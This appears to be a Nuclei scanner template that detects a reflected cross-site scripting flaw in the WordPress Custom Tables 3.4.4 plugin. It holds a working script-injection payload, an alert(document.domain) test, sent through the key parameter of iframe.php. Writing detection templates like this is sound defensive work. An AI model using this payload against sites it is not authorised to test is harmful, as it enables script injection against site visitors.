id: wp-custom-tables-xss info: name: WordPress Custom Tables 3.4.4 - Cross-Site Scripting author: daffainfo severity: high description: WordPress Custom Tables 3.4.4 plugin contains a cross-site scripting vulnerability via the key parameter. reference: - https://wpscan.com/vulnerability/211a4286-4747-4b62-acc3-fd9a57b06252 - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-custom-tables-key-parameter-cross-site-scripting-3-4-4/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 2 tags: wpscan,wordpress,xss,wp-plugin flow: http(1) && http(2) http: - raw: - | GET /wp-content/plugins/custom-tables/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: word internal: true words: - 'custom tables' - 'Tags:' condition: and - method: GET path: - '{{BaseURL}}/wp-content/plugins/custom-tables/iframe.php?s=1&key=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word words: - "" part: body - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a0047304502210098621012871523abc5a3f5e06704c10bb626b42bb9a22a4b0c8216c60e5ac3e002206677fc0c3950ce3dcaf16bba38ce0f763af2442ff6e19f8c33ef6f55a819e7a8:922c64590222798bb761d5b6d8e72950